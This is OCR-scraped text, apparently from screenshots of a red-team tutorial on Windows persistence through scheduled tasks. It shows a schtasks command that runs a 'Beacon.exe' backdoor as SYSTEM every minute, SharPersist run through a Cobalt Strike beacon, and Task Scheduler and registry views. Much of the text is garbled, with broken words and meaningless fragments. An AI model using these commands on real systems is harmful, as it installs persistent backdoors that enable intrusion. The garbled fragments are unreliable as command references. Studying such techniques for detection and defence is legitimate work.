T 1 OTI0 C:A\Win

schtasks /create /sc minute /mo 1 /tn Update /tr "C:\Windows\Tasks\Beacon. exe" /ru SYSTEM

/sc [Imo [TTTIT1T1 1 JTVUpdate[TTTTSM SMEMIII “Backdoor” [T (DT OTITI

specified rt time with no end time. The /RP password will be
prompted for.

SCHTASKS / ABC /U domain‘user /P password /SC MINUTE
| Caleul.. —
View Edit Help

, one

~ CMD.EXE and one for ; : 1 for CMD
ieed to be double quotes; the inn tes or
C ped duuble quotes:

interne

o 1 /tn SC1 /tr "C:\windows\
; been created.

([ITI11] Beacon[IIII] calc.exe 1))

(I GUI ]
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Task Scheduler

File Action View Help
e | nE BE
'- Task Scheduler (Local)
~ iz lask Scheduler Library
~ || Microsoft
~ || Windows
| .MET Framework
| Active Directory Rights Management Services C
| ApplD
| Application Experience
| ApplicationData
| AppxDeploymentClient
| Autochk
| BitLocker
| Bluetooth
| Brokerinfrastructure
| CertificateServicesClient
| Chkdsk
| Clip
| CloudExperienceHost
| Customer Experience Improvement Program
| Data Integrity Scan
| Defrag
| Device Information
| Device Setup
| Diagnosis
DirectX
| DiskCleanup
| DiskDiagnostic
| DiskFootprint
EDP
| EnterpriseMgmt
| ExploitGuard
| File Classification Infrastructure
| Flighting
| InstallService

SharPersist. exe -t schtask -c

beacon> execute-assembly sharpe
Tasked beacon to run .NET program
host called home, sent
received output

99 bytes

INFO: Adding scheduled task p
Co

INFO:
INFO :

INFO:
INFO:

heduled Task Name:
Option: hourly

Name Status  Triggers
(5 CreateExplor...

™ GoogleUpda...

Ready When the task is created or modified
Ready
Ready At4:01PM every day - After triggered, repeat every 1 ho

At 5:23 PM on 3/28/2023 - After triggered, repeat every 0|
Ready At 10:17 PM every day - Trigger expires at 2/13/2033 10:1

Multiple triggers defined

™ GoogleUpda...
C1

T User_Feed_S...

"C: \Windows\Tasks\Beacon. exe"

st.exe -t schtask -c "C:\Windows\System
sharpe

< >
General Triggers Actions Conditions Settings History

Mame: sC1 ~
Location:  \

Author: WHITE-BIRD\serveradm

Description:

Security options

When running the task, use the following user account:
serveradm
Run enly when user is logged on
Run whether useris logged on or not
Do not store passwerd, The task will only have access to local resourc

Run with highest privileges

bF$ist (https://github.com/mandiant/SharPersist ) [TTTIT1T]

vcalc.exe" -n

ist.exe -t schtask -c \Windows\System

-t T SharPersist [T T

(HKOYNEOH TWAREWIErds oFfIWintoWs INIMNGuirentvéfsion\Schedule\TaskCache\Tree\ [T]11]

Actions
Task Scheduler Library
] Create Basic Task...
t  Create Task..
Import Task...
11 Display All Running Tasks
'.—l Disable All Tasks History
Mew Folder...
View
|G Refresh
E Help
Selected ltem
I Run
B End
4 Disable
Export...
L Properties
Delete

Help

B X

-n "Update" -m add -o hourly

-m add -o hourly
alc.exe" -n
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B Registry Editor — O
File Edit View Favorites Help

Computer\HKEY_LOCAL MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion'Schedule\TaskCache\ Tree' 5C2

Handlers ~ || Name Type Data
Maintenance ab] (Default) REG_SZ {value not set)
v || TaskCache REG_SZ {43541EB3-04C1-45B4-A51D-T4504ABACAAD}
ﬁzg”;n REG_DWORD 0x0D000003 (3)
i REG_BINARY 01 00 04 8094 00 00 00 b0 00 00 00 00 00 00 00 14 0...
Maintenance
Plain
Tasks
v Tree

CreateExplorerShellUnelevatedTask
GoogleUpdateTaskMachineCore{31642
GoogleUpdateTaskMachineUA{266FFD

Microsoft
SC2
- User_Feed_Synchronization-{COBEDEFF
Wp
SecEdit
Sensor
Server
setup
SoftwareProtectionPlatform
SRUM
Superfetch
Svchost

Terminal Server

TileDataModel

Time Zones

TokenBroker

Tracing

UAC

UnattendSettings

Update

Userinstallable.drivers

VersionsList “

e e P
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